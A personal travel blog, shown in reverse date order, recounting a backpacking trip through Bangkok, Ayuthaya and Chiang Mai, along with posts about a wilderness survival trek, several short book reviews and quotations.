An hour later we were at the elephant camp and rode them around in a loop for 45 minutes. They didn’t seem to be treated very well. Not much worse than any animal in captivity, I suppose, but weren’t as happy as the Elephants in the royal stable in Ayuthaya.

From there it was on to white water rafting with another group. It wasn’t anything serious, but there were a few good splashes. Fun.

We beached the rafts after about 30 minutes and jumped on bamboo rafts, which was a lot of fun and incredibly wet. With the weight of people, the bamboo sinks a few inches beneath the surface, so you’re actually sitting in the river. The water was shallow enough that one probably would have stayed drier just walking down it.

They fed us lunch and trucked us back to guest house.

It was a good time. I’d recommend the trek to anyone who can walk.

My pack at the guest house had been untouched. Same with the “security” envelope, so that’s a relief.

After I picked up my stuff from Kristi’s, I caught a tuk-tuk to a hostel a few blocks north. When I arrived, they told me they were full. The tuk-tuk driver (who was the same as the one who drove me to Monk Chat, so we knew each other) offered to take me to any other hostel I wished, for free. But the second one I chose was also full. The driver didn’t mind, so I asked him to take me to another on the other side of town. It was more expensive, but I’d walked by it a few times previously and it looked nice enough.

They only had a room for one night, and I wanted 2. The lady at the desk said she’d find me another room for tomorrow. At least I have somewhere to crash tonight.

The rooms are similar to Kristi, but much nicer. There’s also a TV, which was a surprise. I took a long shower and did a little laundry in there too.

Now I’m eating a bit of dinner and afterwards I think I might wander over to the night bazaar again.

I’m not feeling very motivated to write in this at the present moment, but figure I ought to at least try to bring it up to date.

My pen is running out of ink. I’m also running out of soap. I think I might need to buy a hair brush, too.

I’ll try to find some internet tomorrow and post everything.

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Car 3, Seat 29

The following was written 7-2, on the train to Chiang Mai.

9:57AM I’m on the train to Chiang Mai now.

Yesterday I went on the tour with 4 others.

5:22PM The hills here are not as huge and other-worldly as the Cascades, but are so jagged and chaotic in shape and nature that they still seem to resist the notion of human subservience. I look forward to meeting their inhabitants, animal and other.

5:45PM I stopped writing before due to the bumpiness of the ride, but it’s better now. Where was I?

I went on the tour with 4 other folks from the guest house. A French couple and an Irish couple. We cruised to the first Wat, which had a large tower in the center you could climb up. Inside, there were 5 Buddhas surrounding a deep shaft in the center. Bats flew all over the roof. I didn’t want to scare them with my flash, so I avoided taking many pictures.

One thing I particularly enjoy about the ruins in Thailand is that one is free to explore and climb all over them. So unlike many historical objects and sites in the West, which one is rarely allowed to even touch.

From there, it was to the royal elephant stable. We pet, fed, and watched the elephants bathe. One baby couldn’t get enough of me. She kept attempting to eat my foot and, when that wasn’t working, decided she would wrap her trunk around my leg and go for the whole thing. She was strong enough to lift my leg and I was soon on all fours for balance. Later, when I turned around to leave, she grabbed my backpack and held me there.

By the time we were done with the elephants, it was pouring like I had never seen, with thunder and lightning, too.

We made another stop at a monument to the king, but one second out of the shelter of the tuk-tuk and you were taking a bath, so we canceled the rest of the tour and headed back to the guest house. Roughly an hour after that, the rain held up enough for us to venture out to a restaurant for dinner (the night market was closed due to the rain). That was my first restaurant in Thailand.

Then we headed back to the guest house, reaching it a bit after 11PM. I was told the England vs. Portugal match would be “a bit of crock” (gotta love the Irish), so I watched about an hour of that.

I’m not sure what people see in soccer. It didn’t seem anymore entertaining than other sports, perhaps less. Though I was told that this wasn’t a very good game, what with Portugal tumbling around and crying every time they got kicked in the shin-guards. I went to bed when it was still 0-0, so I don’t know who won.

A good day.

The Irishman suggested a guest-house in Chiang Mai, so I plan to head there when I get in tonight. It’s not listed in Lonely Planet, but he’s stayed there 3 times, and has also done treks through them.

When I left this morning, the Baan Lotus lady was sad to see me go. She made me promise to come back, and told me to bring a girlfriend. She also told me I was very smart, but then outlined her face, so I assume she was referring once again to my good looks.

Did I mention she arranged a tuk-tuk to taxi me from the guest house to the train station?

And so now I’m on the train. It’s about a 9 hour ride, with a couple hours left to go. I don’t know where we are now, but we’ve been stopped at this station for 5-or-so minutes. A lot of people got off — I hope I’m not supposed to. But it hasn’t been 9 hours yet and I think Chiang Mai will be larger than this.

Lunch was served about noon. It was chicken and rice, with a side dish of what seemed to be a cross between pot-stickers and banana bread. Tasty. There were also 2 of what I can only describe as Thai chicken nuggets.

The water had ice in it — I hope that won’t kill me. Later, at 3PM, we were given a piece of some sort of cake and two of what resembled sugar cookies. I also got a cup or orange soda, but wasn’t as carbonated as what you normally get in the states. I liked it better. (I also noticed that, last night, the Lemon Juice I had with dinner wasn’t as acidic as back home.) The food here on the train is processed and microwaved — obviously not up to street vendor par — but kicks the shit out of what you’re given on American trains or airplanes.

The seating is like that of an airplane. Not as comfortable as Amtrak, but nice. All in all, very good for just under 600 Baht

We’ve begun to move again.

I wonder if they’ll serve us dinner?

6:30PM The scenery on the second half of the trip has been beautiful. The mist shrouded hills, rice fields. I almost feel as if I’m in some old Vietnam movie.

It’s not surprising the trains and buses are knocked out so much in the rainy season. Some of the hills and cliffs we pass so close to show signs of sliding in the past, and appear to want to slide again very soon. I should take pictures for my Geology professors.

As I noticed us pass by one such spectacular hill, it started pouring. An impressive site. It stopped soon after, but I wonder what would happen if the track was covered in front of us?

What with the greenery and clouds that have been with us ever since, it at times looks as if I could be back home in the Pacific Northwest. I wonder if it’s hot and muggy out there? It doesn’t look it, but the train has AC and, knowing Thailand, it probably is.

My seat is stuck in the back position.

Most people, I think, take the night train from Bangkok to Chiang Mai. I prefer this. It’s cheaper than a sleeper train and you can see what you’re moving through. Plus we’re fed, which I doubt happens on the night train.

Yet another lengthy stop we’re making.

This could very well be my first day in Thailand without eating a pineapple. I’ve been averaging at least one whole one from street vendors a day.

6:53PM Thais love to ask where Farang are from. I always respond “United States” and most of the time they understand, but sometimes I have to say “American”. I’ve often used the word to refer to myself in opposition to, say, Canadians, but I don’t understand it. Are not Canadians, Mexicans, and Patagonians just as American as those of us in the USA? It seems to me that all residents of North America, Central America, and South America are equally American. Claiming otherwise would be to say that only Germans are Europeans or Laoations the only Asians. I wonder if Bush realizes the implications when he claims to do something for America or Americans.

…I wonder if Bush realizes the implications of anything he says.

7:05PM It’s the density of the trees and the rest of the greenery that really awes me here. You don’t get this back home. It’s such that one can hardly imagine something like what I’m seeing now is even possible. Untouched.

And the houses. We pass small tin shacks, with nothing more cleared away than the space needed for the building. No yards, no driveways.

The telephone polls and occasional power station are out of place here.

We’re now stopped at “Khan Tan”.

7:14PM What’s with these long stops? Earlier we would stop at stations for no more than a minute, but now it’s no less than 10. I hope I’m not supposed to be getting off.

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To Chiang Mai

The following was written 7-1 in Ayudaya

3:32PM The lady who runs the guest house has a van that goes to Kanchanaburi tomorrow. She tried to sell me on that, but I told her I was thinking of going to Chiang Mai. A few minutes later, she came up to my room and said that because it was the weekend (I hadn’t realized), I might not get a train ticket. She gave me a time table and said that if I wanted, she would send “the boy” to go buy a ticket for me. So, he’s off buying me a 2nd class ticket for the 9:52AM train to Chiang Mai. It arrives about 8:00PM.

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After Dark

The following was written 6-29, my last night in Bangkok

9:03PM Bangkok at the night time is the best time. It’s too bad I’m pooped from the day of heat and walking.

One would do better to sleep during the day and adventure at night.

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Amongst the Ruins

The following was written yesterday, 6-30, while I was exploring Ayuthaya.

3:46PM I managed to find a festival of some sort next to a bunch of ruins. There are many booths selling a variety of interesting things.

I had a meal of excellent chicken and rice. The lady gave me a few bags of sauce to put on it, and it was delicious. A-roi, as they say here.

They weren’t kidding about the stray dogs around the city. There are packs of them all over. One followed me around the park for a while, so I gave him the left-overs of my meal. He had large wounds over his butt and hind legs. I don’t know where he’s wandered off to now.

People are giving out free samples. Lots of food. One lady put what looked to be hand lotion in my hand and motioned to put it in my hair, so I did. I didn’t bring any shampoo on my trip, so whatever it was, it couldn’t have hurt. I sure smell better, if a little feminine.

All over I get compliments on my hair. I don’t think many Thais see guys with long hair. The lady at Baan Lotus tells me I’m beautiful.

It appears there’s going to be some sort of performance. There’s a stage where they’ve been playing what I think is a recorded speech and now there are people in costume looking like they’re about to perform.

Speaking of people prancing around, lots are sucking some sort of orange liquid out of plastic bags. Maybe I should get one.

A few minutes later I can’t figure out where they’re getting them from. I shall have to follow someone. Stalk them with my ninja ways.

On another note, Thais love their yellow golf-shirts. At first I thought it was some sort of uniform, but everybody and their mother (literally) has one.

5:00PM On my way back to the Guest House I found what I think is the only sane motorcycle taxi in Thailand. At least, he didn’t drive like he was in Grand Theft Auto (with God mode).

The lady who runs the house tells me she has day/night tours daily that leave at 4:40ish. Perhaps I’ll do that tomorrow. I’ve had enough ruins for one day.

It dawned on me earlier today that I don’t have to do the tourist thing. I had been thinking of heading to Chiang Mai tomorrow, but now I think I’ll spend 2 nights here. Tomorrow I’ll just hang around the peaceful guest house — maybe looks at ruins, maybe not.

Perhaps I’ll go back to the Muslim market I found today. They had really good food. One of the juiciest pineapples I’ve ever had.

The only complaint I can render of this place is that the walls are thin. There’s little privacy, in the room or the bathroom.

Speaking of the bathroom…

There’s a sign that says no toilet paper in the toilet, so, when in Asia…

I pressure washed my bum-crack. That was an interesting experience, but I’ll spare you the details. Suffice it to say that I prefer moss as an alternative to toilet paper.

5:53PM I jumped in the shower with all my clothes on. Hey, when you’ve got to do laundry…

The shower is not really a shower, just another hose in the corner of the bathroom. There’s no curtain or anything, so everything gets soaked.

Little else is as relaxing as taking a cold shower and laying naked on the bed under the fan. I think I’ll bust out my ipod and a book.

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Baan Lotus

The following was written yesterday, 6-30, upon my arrival in Ayathaya

12:52PM We ended up making lots of stops on the side of the road, dropping people off and picking them up. Every time, the guy in the yellow shirt would yell something I couldn’t understand and I’d hope that it wasn’t my stop. Though I suppose that wasn’t really possible, since I didn’t have a stop in mind. In the end, I just rode it to the end of the line.

As soon as I stepped off the bus, a tuk-tuk driver offered to take me to the ruins, but I pointed to the guest house in my Lonely Planet and said he could take me there instead. As usual, the 40 Baht he charged me was way too much, but I wasn’t sure where the guest house was in relation to the bus stop, so I agreed. 20 Baht would have been better.

So now I’m sitting on my bed at the Baan Lotus Guest House. I had to leave my shoes outside. I hope it doesn’t rain.

When I was taking my shoes off, a nice old woman came out to greet me. She was excited to see me, and said she only had 1 room left. It’s got two beds in it, but she gave it to me for 300 Baht, which is pretty good. (Suk 11 charged me 250 for the dorm.) It’s not as nice as the Suk, but I like it. No AC, but there’s a fan and a good breeze coming through the windows.

I think I’ll go down to check in and then figure out what I’m doing here.

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Durian

9:56AM I had toast and prickly fruit for breakfast this morning. The fruit is described by Lonely Planet as resembling “an ancient piece of medieval weaponry,” and that is an apt description.

I’m not sure where I’m heading tomorrow. Choices are Chiang Mai, Phitsanulok, or Sukhothai.

I think I’ll go out and see if I can find some internet now.

12:14PM It took me a couple hours of getting lost, but I finally found Soi 1, the backpacker ghetto, and plenty of cheap internet. The computer I’m on is a P2 with 64MB of RAM. Impressed?

Speakeasy claims I’m getting 254k down and 188k up, though it feels like less.

It’s July already. I wasn’t sure of the date till yesterday. The time zone shifts messed me up.

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Journey On

The following was written 6-30, as I was leaving Bangkok for Ayuthaya

10:45 Made it! The Skytrain got me close to the bus terminal, but I was still walking around for half an hour, trying to find the damn place. A friendly motorcycle taxi stopped me and offered to get me there for 20 Baht (I had planned to walk in the first place because I thought the weight of my backpack would tip the motorcycle over.) In retrospect, it was like 2 blocks away and 20 Baht was way too much. But that’s like $0.50, so I won’t complain.

The driver pointed me in the direction of the terminal for Ayuthaya when we got here. A bunch more friendly Thais helped me get to the ticket window and, a 50 Baht ticket later, I wait here at Terminal 113 for my air-conditioned bus.

I got here at 10:45 and the bus leaves at 11:00. It’s like I knew what I was doing.

10:57AM Just jumped on the bus. My ticket says I’m in seat A4, but I don’t see any assigned seats, so I just grabbed a seat behind the guy in fatigues.

You see a lot of military looking guys just wandering around Bangkok. It’s strange.

Yesterday when I was walking by some Naval building, one guy pointed to the entrance and then pointed his fingers at me like a gun. I guess he didn’t want me to go in there. Not that I planned to.

We’ve started moving.

And the bus just died.

It seems Thai bus drivers are just as crazy as the rest of Thai drivers. This guy is honking like crazy.

I should have brought a video camera and filmed Speed 3.

I’m the only Farang on the bus. Of course, there’s only about 12 people on here.

My seat appears to be infested with ants.

Bumpy ride. I wonder if I’ll be able to read this to type it up later.

11:10AM The guy just came by and took my ticket, so at least I know I’m on the correct bus. That’s a relief.

11:33AM We just stopped and picked up a couple more people in the middle of the highway. Strange.

I forgot to mention that this morning in the shower I noticed a couple bug bites. Malaria is only supposed to be a problem in the Northern border areas, though. And I only have a limited supply of drugs, which I’ll need since I’m heading there soon.

I just saw a sign for “The Church of Our Lady Mother of God”. God has a mother now? That oughta shake things up a bit for the Christians. I’m glad to see that someone has come to their senses and decided that if you’re going to have a god, and you’re going to assign it a gender, it only makes sense that it’s female. Plus, “The Church of Our Gentleman Father of God” just doesn’t have the same ring.

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Rain

The following was written 6-30, my last morning in Bangkok

7:00AM I’ve never seen such rain! Or heard it, for that matter. It’s amazing the city keeps from flooding.

Bangkok is full of surprises.

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Bangkok: Day 2

The following was written 6-29, in Bangkok

8:30AM BK Time The plane ride to Bangkok was uneventful. I slept all of the way. We arrived a little early. 11:30PM, I think. After going through Passport Control, I went to collect my backpack — which, thankfully, made it through unscathed. On my way out of the airport terminal, lots of private taxi companies tried to give me a ride to the red light district. I ignored them, and went out to wait for the Airport Bus, which is supposed to run every 30 minutes till 00:30 (I have to get used to 24-hr time. Everyone uses it here), but the bus never came. So I walked over to get a meter taxi.

Of course, I luck out and get the taxi driver who keeps moaning like he’s going to pass out right there and keeps an empty cigarette box next to him that he spits in every few minutes. His English was more or less limited to “Name hotel?” and even after I gave him the direction card to the hostel, the best he could do was get me to the right street. Not the best experience, and I’ve been avoiding taxis since.

After wandering around the Soi (side street) for a while, a taxi driver and two different tuk-tuk drivers helped me find where I was supposed to go. Their friendliness made up for the taxi ride. So after walking around for about 20 minutes at 1AM, I arrive at the hostel, dripping sweat.

After checking in, I drop dead on the first empty bed in the dorm that I see.

I woke up the next day around 8AM — in time for the hostels free breakfast of bread and fruit. Quite tasty, especially after airplane food. After that, I ventured out and explored most all of the areas that the Skytrain went to (it’s cheap and air-conditioned). Plenty of people tried to sell me cheap tours and prostitutes, which got annoying after a while. Around 2PM I cam back to the air-conditioned dorm room, figuring I’d read a little and maybe take a nap. As soon as I got on the bed I was out.

I woke up around 8PM, but it was dark out and, for some reason, I wasn’t hungry, so I just thought “screw it” and went back to sleep. Not exactly smart, as sleeping half the day isn’t going to help me get over jet lag. Though I think my exhaustion is more from heat than the time zone. I woke up this morning at 7AM, took a cold shower and washed my shirt, underwear, and socks. Then I went down to breakfast, and now I sit on my bed, writing this.

I’m not looking forward to going out again today, but know I should (and stay out — all day). Bangkok is chaotic, hot, and smells worse than Tacoma. Which isn’t to say it’s all bad, but I’m looking forward to moving on. I suppose today I should go out and do all the tourist stuff. The Skytrain is really limited and only takes you around “new” Bangkok. All the tourist stuff is near the river in “old” Bangkok, so I don’t know how I’ll get there. An air-con taxi sounds nice, but is probably the most expensive option. Perhaps I should figure out how the bus system works.

It’s going to be hot. It’s probably about 75-80F here in the air-conditioned room — about the top of my comfort level. And it’s only 9AM. It rained a little yesterday, but that didn’t help it cool down any. Well, I guess I’ll go brave the streets. Wish me luck. I need to get to an ATM, too.

10:00AM BK Time You haven’t lived till you’ve risked life and limb, weaving in and out of the streets of Bangkok on the back of a motorcycle. (They should make a Fast and the Furious movie here.) I was worried the driver wouldn’t take me to the right place, but he did. 150 Baht later, I’m at the Grand Palace. IT’d be nice to get a tour guide to tell me what I’m looking at, but I’m to cheap for that.

There’s hundreds of people here. White is still a minority.

Aah, a breeze…

I wonder if I got lice from that motorcycle helmet.

1:35PM Bangkok Time I’m at Wat Pho now. Home of the giant Reclining Buddha and the Thai Massage School. I think next I’ll go to the National Museum, which is probably air-conditioned. By the way, I’ve devised a new system to find one’s way around Bangkok. I found Wat Pho by walking in the general direction and waiting for someone to approach me and tell me the Wat was closed today. If I stopped hearing that, I picked another direction to walk in. And it worked! After all, here I am.

I find Thais are much more friendly here in the tourist part of town. I’m not topped every block by a tuk-tuk driver offering me a tour, because I’m already here.

Though I love the Suk 11, I wish it was in a better location.

Oh, I have plans for tonight: an air-con movie theatre! There’s a couple in Siam Square and from there I can Skytrain back to the Suk.

A cat just jumped on the bench with me. There are a lot of stray cats and dogs around Bangkok.

There’s lots of school groups the Wats, too. The little girls all get really excited if you wave and say hello. It’s funny. I kinda feel sorry for them in their uniforms. Must be hot.

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N6

The following was written 6-27, while I was waiting at the gate at Sea-Tac

11:31AM PDT Security was a breeze. I didn’t beep going through the detector. No one checked my obviously military backpack or my obviously military daypack. Funny, that.

They’re blasting CNN here at the gate. The news is kinda depressing.

By the way, when I was checking in they thought I was Pedro Honduras flying to Toronto. Oops. They found my my Double Agent identity.

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Narita

The following was written 6-26, during my lay-over in Tokyo

4:00PM Tokyo Time So that was a 9 hour flight. Which is close to 19…

Shows how much planning and prep work I’ve done for this trip. I’m pretty much winging the whole thing.

Tokyo gets my vote for best western toilets. Those things are nice. The squatting toilets scare me, though. Squatting in the woods is one thing, but on porcelain? That scares me.

My body knows it’s midnight, but can’t figure out why it’s light out. (We followed the sun here. It wasn’t dark once.) I want to sleep, but I’m afraid I’ll miss my flight. Narita is nice, but there isn’t much to do here. So I’m just gonna sit here for 2 hours. Then sit on a plane for another 6.

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Siam Square

I’m in Siam Square now. A place called MBK Center. It’s an 8 story shopping mall, pretty much. The internet cafe here is nice. They advertise 8Mbps and AMD 64-bit processors. Not very secure though, if you know what I mean.

I never did go to the National Museum today. Instead, I got lost and walked around the city for 3 hours. I think I’m getting over the heat now — though I say that sitting here in an air-conditioned mall. No, I don’t think I am getting over it. I’m drinking a lot more water, though. That helps.

7-11 here is like Starbucks in the States. There’s one on every corner, and if there isn’t room in a building, they setup in a booth on the sidewalk. A large bottle of water is 9 Baht. I’ve probably gone through 5 today. I’m really going to have to pee tonight.

Did you know that your body uses a lot of heat keeping your pee warm? So if you’re setting down for a cold night in the woods, take a good piss before bed so that your body can use that heat for better purposes. Random fact from survival training.

There’s a Baskin Robbins here. I had a scoop of chocolate. Man, that was good. They brought me a glass of ice water, too. Ice is generally a no-no here, but it looked to cold too pass up. So if I die in the next day or two, sue Baskin Robbins.

I’m debating whether I want to see a movie or not. There’s three theatres in the Siam Square area. All of them are playing Superman Returns, except for the one in this building, which is also showing Tokyo Drift. Neither of the films really appeal to me. There’s ads for Dead Man’s Chest all over the city.

Today is my last day in Bangkok. At least that was the idea. Now I’m starting to like the city. I don’t know. Maybe I’ll head north tomorrow, maybe I won’t. This is the last night I have reserved at the Suk 11, though.

I was planning on heading over to the station today to seeing about getting a train or bus ticket to somewhere for tomorrow, but that never happened. So I guess I’ll just wing that — hopefully I can buy the ticket a few hours before departure. I’m thinking about heading to Ayuthaya, and from there to Chiang Mai. Perhaps I’ll stop at Lopburi, but that seems to be the same thing as Ayuthaya, plus gangs of monkeys.

The Buddhist monks walking around the city aren’t exactly what I was expecting. Something about monks with cell phones and digital cameras just doesn’t seem right. I saw a tour bus full of monks at one Wat.

The Speakeasy speed test says I’m getting 1.4k down and 134k up. That’s from the Seattle node.

I clicked on the little thing that was giving me a count down of how much time I have left and now it went away. Doh.

The food stalls in Bangkok are awesome. I’ve been snacking all day. But I think I might grab dinner here. Did I mention there’s a KFC and McDonald’s? Depressing.

It’s sad that us Farang have to be so weary of Thai approaching us in the street. The vast majority are incredibly friendly. This morning while I was walking down the street from the hostel, two guys at a tuk-tuk stopped me. One tried to tell me that the Grand Palace was closed today, but the other guy shut him up. He said that traffic was too bad for a tuk-tuk, thus giving up money for himself. He then said I should take a motorcycle and, when I agreed, ran down the block to get me one. I was worried that the driver would try to take me to some silk/gem shop or some other scam, but he went straight to the Grand Palace and asked for the previously agreed upon price. Throughout the day, other Thais stopped me on the street. Some wanted me to buy something or tried to tell me something was closed, but the majority just wanted to talk. They always get excited when they hear I’m an American. Not sure why.

As nice as this mall is, the Thai music is getting to me. Not as bad as Japanese pop, but bad. I think — yup, they’re playing Spice Girls now.

I went to a weapon museum in the Grand Palace today. There was a whole lot of blades there. Guns, too. Speaking of which, I stumbled upon this two block stretch that was nothing but gun shops. I bet I could walk out of there with enough arms to start a small army, with not even an ID check. Bangkok is funny like that. They should have filmed Blade Runner here.

Well, I think I’m going to see about dinner. Long live the king, and all that.

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Somewhere over the Pacific

The following was written 6-27, on the flight from Seattle to Tokyo

4:31PM PDTI think it’s just setting in how long this flight is. 19 hours, they say. We’ve only been airborne for 2.5. Think of what one could do in 19 hours. A hell of a lot more than sit in a plane and watch Firewall multiple times (which was a horrible movie, by the way). But I suppose it’s better than taking a boat…

I’m one of the few white people on here. Seriously, there’s like 10 of us. It’s kinda funny to watch the flight attendants — they have to decide whether they should speak Japanese or English whenever they want to talk to someone. So far its been all English with me. Which is good, as my Nihongo is a bit rusty.

I wonder how the Tokyo airport will be. Cooped up for 3 hours…

I hope people there will take USD so I can get decent food.

They served us lunch here, which was chicken worse than the teriyaki on Amtrak. But it was a large lunch, at least.

By the way, what’s up with Japanese guys and alcohol? All three Japanese business men in my row have ordered beer and wine. Is that a cultural thing, or did I just luck out? I’m indulging myself in water while I still know it’s clean.

I hope my backpack makes it. That’s really gonna suck if I loose that. There isn’t much money or any papers in it, just stuff.

I wonder if I’ll sleep? I usually don’t sleep in cars. It’s not even 5PM here and they turned the lights down and closed the shutters already.

7:19PM Is it bad when they ask if there’s a doctor or nurse aboard?

10:45PM I’m confused. Judging by the map, we couldn’t be more than an hour or two from Tokyo. Yet we’ve only been airborne for 8 hours and 45 minutes. I swear somebody told me this was supposed to be a 19 hour flight.

The only possible explanation is that we somehow jumped through a worm hole and apes now rule the Earth.

You’d think it would be difficult to screw up beef and noodles. At least I would. You got your beef, got your noodles, and bam! Beef n’ noodles. Oh well. It looked better than the pasta.

What’s this Japanese Tea I keep being offered? I highly doubt that if if I asked for Japanese Tea in Japan that anyone would know what I was talking about. And if it isn’t some American-ized title for a certain tea, it needs a better name.

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Thailand Logistics

I’m hoping for ample internet access in Thailand via cheap internet cafes. In addition to hardening my local environment, I’ll also be taking a few other precautions.

  • All posts made to the blog will be under a separate user account. This doesn’t mean much to you, the loyal reader, but saves me from worrying if my password has been sniffed and someone is gaining admin rights to my wordpress install.
  • Though I hope to be checking my email, I will not be accessing my usual pm@ account. Instead, I’ve set up a separate email account: vagabond at pig-monkey.com This is so I don’t have to worry about folks gaining access to my email. The contact form will not be updated to reflect this. So, again, the best way to get in touch with me is: vagabond at pig-monkey.com
  • Photos will be securely placed in an undisclosed location, but the chances of me getting them somewhere web viewable while on the road is slim. As usual, I don’t want to have to bother with sniffers and loggers.

I’m off tomorrow morning. Wish me luck with airport security and customs. And wish my backpack luck against the conveyor belts.

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The Flesh of Language

The rain surrounded the cabin… with a whole world of meaning, of secrecy, of rumor. Think of it: all that speech pouring down, selling nothing, judging nobody, drenching the thick mulch of dead leaves, soaking the trees, filling the gullies and crannies of the wood with water, washing out the places where men have stripped the hillside… Nobody started it, nobody is going to stop it. It will talk as long as it wants, the rain. As long as it talks I am going to listen.
  • Thomas Merton

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My Ishmael

Daniel Quinn’s My Ishmael stands above the others as the superior book in the saga of the gorilla. Prior to this, Quinn was exploring the subjects with his narrators — having some ideas down, but not quite sure where it would lead him. Here, he has obviously developed is ideas much further and is ready to lay forth practical challenges and solutions. As usual, I highly recommend this book for its revolutionary potential and wonderful writing. Keep in mind that it should be read after Ishmael and The Story of B.

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A Walk Across America

Peter Jenkins’ A Walk Across America is a book I began hating but ended up loving. The tale of one man’s walk across the East of 1970’s America, it’s something of an On the Road. I don’t feel that Jenkins is a terrific writer, but the tales put down in this book are inspiring. It humanizes America.

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Primary Utopia

Human beings will be happier - not when they cure cancer or get to Mars or eliminate racial prejudice or flush Lake Erie but when they find ways to inhabit primitive communities again. That’s my utopia.
  • Kurt Vonnegut

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Thanks Giving

I learned a lot during my short wandering with the band. One lesson that stands out above others is with respect for food. It was an amazing experience, those first few hours of the journey. I was able to literally just stick my arm out and the Forest would place edibles in my hand. We should all be careful of where we step and what bushes we whack in the forest — you never know when you might be destroying someone else’s dinner. And if you’re out on a simple day hike, don’t eat all the berries in site. Save them for those that are really in need.

I’m thankful for the Forest. It was my teacher, provider, and home for the past 3 days. Come with an open mind, and it will be yours too. I hope it and others like it — especially Old Growth — will be around to teach generations to come.

I’m thankful for the two black bears who showed themselves to us on Saturday. That was the first time I’ve seen them in the wild.

I’m thankful for the Wilderness Awareness School for offering this experience, and acting as conduit for the Forest’s teachings.

I’m thankful for our band. They were a generation older than I, but after 3 days — after the first night’s fire — we were all family and the best of friends. Despite our individual pains and challenges, all did there best to provide for the group. I laughed more with them than I do with most.

I’m thankful for the creatures who placed their tracks, poop, and bodies in our path so that we could examine and learn from them. The deer skeleton we encountered on Sunday had a particular impact on me. Never before had I seen a full skeleton of that size in the wild. The spine was the most impressive.

I’m thankful for all the plants and animals that gave their lives to the band so that we could continue on.

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The Hunter-Gatherer Experience

The last three days was an interesting sort of journey filled with pain and learning that I wouldn’t pass up for anything. I hope to do it again.

Rather than calling it a walk-about, I’d say it was a 3-Day Hunter-Gatherer Experience. We hunted, we gathered, and we walked. Then we walked some more. Calling it a walk-about misses the root.

Here follows a quick overview of the events. Hopefully I’ll post more later.

Friday morning brought with it thunder, lightning, and rain that bordered on hale. Luckily, we were doing some incredibly dense bush-whacking, which covered us partially from the rain. The sun came out and cleared things up at around noon (watches weren’t allowed, so I don’t have much of an idea about time), drying our band of 11 out just in time to cross a river. Here begins the saga of the 3 days of wet feet, socks, and boots. The river was only about crotch deep, but had a fairly strong current on the opposite bank. Instead of doing it one by one, we crossed in two lines, parallel to the river. The largest person in each group was in the front of the group with a walking stick, so the rest of us could move in his eddy. We all grabbed the person’s waist (or pack) in front of us and pressed down, helping to stabilize them. I think this is probably the safest way to cross a steam. We succeeded without incident. There was a nice beach on the opposite bank, so we hung out there for a while and practiced flint-knapping. I discovered I’m horrible at it, and have much better luck just finding pre-chipped rocks along the walk. We sloshed on for a while, stopping every now and then to ring out socks (which didn’t help at all). At one point we had to climb up a waterfall, who’s side was all loose, saturated clay. That was an interesting climb, but it guaranteed us all our first solid layer of dirt covering our whole body. Oh, it made my feet wetter, too. Speaking of wet, we also had to cut through a couple swamps, which didn’t help things much. The emphasize of the experience was on wandering, so the instructors didn’t want to take hours to build shelters, only to move on to another the next night. As such, we brought two tarps. Camp that night consisted of the two tarps tied between trees in an A-frame, which a few hundred ferns used for insulation on the bottom. All 11 of us snuggled up close to each other for body-warmth (it really makes a world of difference — even touching in only one spot). Dinner, by the way, was cat tail. The stalks were pretty tasty raw, and the roots not bad when roasted, but now whenever I hear “cat tail” mentioned, or even just think of them, I get a queezy feeling in my stomach as if I’m about to throw up. They didn’t sit that well with me. Other than that, we had snacked on some salmon berries, mint, and a little hemlock throughout the day. Hunger wasn’t a problem for me, or any of us. In fact, had our feet been dry, it probably would have been a comfortable night (all of us tried to dry our boots and socks out around the fire, but that didn’t help much). All in all, I’d say we covered about 7-8 miles that day through the roughest terrain of the journey.

Saturday was hell day. Left over cat tail wasn’t terribly appealing that morning, so none of us had any sort of breakfast. I’d have to guess that we covered about 20 miles that day. Our leader, Johnny, was some kind of ninja. If it wasn’t for the long braided hair, beard, and tendency to walk barefoot, I’d swear he was some kind of retired Special Forces — there was just no way any of us could keep up with his pace. That day he made me push and exceed my body’s limits. Luckily, we fished for an hour or so in the afternoon and caught 7 trout for dinner. A little later on down the road, we caught 4 gardner snakes. That was the first time I’d ever decapitated, skinned, and gutted a snake. It was also the first time I’d ever eaten raw snake egg. They taste like a buttery egg yolk, but squirm a little in your mouth. With the prospect of meat for dinner, the band’s spirit raised a little, but, as I said, Johnny pushed all of us (including the other two instructors) to our limits with his pace. By the time we arrived at what would be that night’s camp site, the majority of the group had injured themselves in one way or another. One of the guys vomited up a serving of salmon berries. I felt as if I was on the verge of vomiting from fatigue, but didn’t. It’s really quite amazing how something as simple as a fire can make one feel infinitely better. As soon as the flames jumped to life, my illness went away and I felt only tired. Though none of it really looked appetizing at the time, we feasted that night on trout, snake (which tastes a bit like jerky), and beaver (a unique meat, that somewhat resembles duck). Meat did a good deal to boost our spirits further — specifically the beaver. The fire was successful in drying my socks and boots that night, so I slept much warmer than the previous night (but still cold).

Sunday we didn’t have far to walk, so we spent the morning and early afternoon around camp chatting and working with bow drills. We didn’t have time to make our own, but two of the instructors had brought theirs for us to use. Everyone was able to get a coal and flames, which was amazing. It tired my arm a great deal, but isn’t as hard as it’s made out to be. I’d like to take a class in just that so that I could learn more and make my own set. Brunch for me was left-over beaver ribs. The day’s journey did require us to walk through another bog, which meant I once more had wet feet. The last hour or so I decided that going barefoot would be easier, though my blisters don’t quite agree with that decision now. At the pickup point, the van driver brought us some watermelon and cooked us up some miso soup, which was incredible. I really have a new appreciation for food after this whole thing. When I got back to my car, even the warm Clif bar in my glove box was delicious.

Now I’m home, indulging myself in large quantities of food that hopefully will not make me vomit, and attempting to nurse myself back to health before I take off for Thailand. My feet are blistered, I have a few bug bites scattered around, and, worst of all, my hands are covered in blisters and other wounds. It’s hurting a deal to type this, so that’ll be all for now.

More later.

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No more beds

Tomorrow I’m heading off to my survival wander. I should be back Sunday night.

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The Yoga of Time Travel

Fred Alan Wolf’s The Yoga of Time Travel: How the Mind Can Defeat Time is, to put it lightly, a mindfuck. Using quantum physics as his base, he explains how one can travel through time. All it requires is ego-loss. (Someone’s been reading Timothy Leary.) It’s an interesting book, but most of the physics went over my head.

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America

